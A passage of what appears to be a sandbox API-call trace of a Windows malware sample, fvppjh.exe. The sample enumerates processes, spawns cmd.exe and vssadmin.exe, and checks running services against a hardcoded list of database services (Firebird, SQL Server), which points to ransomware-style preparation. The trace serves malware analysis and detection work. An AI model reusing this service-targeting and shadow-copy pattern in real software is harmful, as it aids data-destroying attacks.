	[0168.203] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.204] lstrlenW (lpString="csrss.exe") returned 9
	[0168.204] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0168.204] lstrlenW (lpString="wininit.exe") returned 11
	[0168.204] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.204] lstrlenW (lpString="csrss.exe") returned 9
	[0168.205] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0168.205] lstrlenW (lpString="winlogon.exe") returned 12
	[0168.205] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0168.205] lstrlenW (lpString="services.exe") returned 12
	[0168.205] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0168.206] lstrlenW (lpString="lsass.exe") returned 9
	[0168.206] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.206] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.206] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.207] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.207] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.207] lstrlenW (lpString="svchost.exe") returned 11
	[0168.207] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.208] lstrlenW (lpString="svchost.exe") returned 11
	[0168.208] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0168.208] lstrlenW (lpString="dwm.exe") returned 7
	[0168.208] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.208] lstrlenW (lpString="svchost.exe") returned 11
	[0168.208] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.209] lstrlenW (lpString="svchost.exe") returned 11
	[0168.209] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.209] lstrlenW (lpString="svchost.exe") returned 11
	[0168.209] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.210] lstrlenW (lpString="svchost.exe") returned 11
	[0168.210] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.210] lstrlenW (lpString="svchost.exe") returned 11
	[0168.210] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.211] lstrlenW (lpString="svchost.exe") returned 11
	[0168.211] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.211] lstrlenW (lpString="svchost.exe") returned 11
	[0168.211] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.212] lstrlenW (lpString="svchost.exe") returned 11
	[0168.212] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.212] lstrlenW (lpString="svchost.exe") returned 11
	[0168.212] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.212] lstrlenW (lpString="svchost.exe") returned 11
	[0168.212] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0168.213] lstrlenW (lpString="spoolsv.exe") returned 11
	[0168.213] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.213] lstrlenW (lpString="svchost.exe") returned 11
	[0168.214] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0168.214] lstrlenW (lpString="audiodg.exe") returned 11
	[0168.214] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0168.215] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0168.215] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0168.215] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0168.215] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0168.215] lstrlenW (lpString="Memory Compression") returned 18
	[0168.215] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0168.216] lstrlenW (lpString="sihost.exe") returned 10
	[0168.216] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.216] lstrlenW (lpString="svchost.exe") returned 11
	[0168.216] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0168.217] lstrlenW (lpString="taskhostw.exe") returned 13
	[0168.217] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0168.217] lstrlenW (lpString="taskhostw.exe") returned 13
	[0168.217] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0168.218] lstrlenW (lpString="explorer.exe") returned 12
	[0168.218] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0168.218] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0168.218] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0168.219] lstrlenW (lpString="SearchUI.exe") returned 12
	[0168.219] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0168.219] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0168.219] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0168.219] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0168.219] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0168.220] lstrlenW (lpString="fvppjh.exe") returned 10
	[0168.220] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0168.220] lstrlenW (lpString="cmd.exe") returned 7
	[0168.220] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0168.221] lstrlenW (lpString="conhost.exe") returned 11
	[0168.221] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0168.221] lstrlenW (lpString="consent.exe") returned 11
	[0168.221] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0168.222] lstrlenW (lpString="vssadmin.exe") returned 12
	[0168.222] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0168.222] CloseHandle (hObject=0x540) returned 1
	[0168.222] Sleep (dwMilliseconds=0x1f4) 
	[0168.983] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0168.983] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0168.983] GetLastError () returned 0xea
	[0168.984] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0168.984] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0168.985] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0168.985] lstrlenW (lpString="Appinfo") returned 7
	[0168.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0168.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0168.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0168.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0168.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0168.985] lstrlenW (lpString="AppXSvc") returned 7
	[0168.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.985] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0168.985] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0168.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0168.985] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0168.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.985] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0168.985] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0168.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0168.985] lstrlenW (lpString="Audiosrv") returned 8
	[0168.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0168.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0168.986] lstrlenW (lpString="BFE") returned 3
	[0168.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0168.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0168.986] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0168.986] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0168.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0168.986] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0168.986] lstrlenW (lpString="CDPSvc") returned 6
	[0168.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0168.986] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0168.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0168.986] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0168.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.986] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0168.987] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0168.987] lstrlenW (lpString="CryptSvc") returned 8
	[0168.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0168.987] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0168.987] lstrlenW (lpString="DcomLaunch") returned 10
	[0168.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0168.987] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0168.987] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0168.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0168.987] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0168.987] lstrlenW (lpString="Dhcp") returned 4
	[0168.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0168.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0168.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0168.987] lstrlenW (lpString="Dnscache") returned 8
	[0168.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0168.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0168.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0168.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0168.987] lstrlenW (lpString="DPS") returned 3
	[0168.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0168.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0168.988] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0168.988] lstrlenW (lpString="DusmSvc") returned 7
	[0168.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0168.988] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0168.988] lstrlenW (lpString="EventLog") returned 8
	[0168.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0168.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0168.988] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0168.988] lstrlenW (lpString="EventSystem") returned 11
	[0168.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0168.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0168.988] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0168.988] lstrlenW (lpString="FontCache") returned 9
	[0168.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0168.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0168.988] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0168.988] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0168.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0168.988] lstrlenW (lpString="gpsvc") returned 5
	[0168.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0168.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
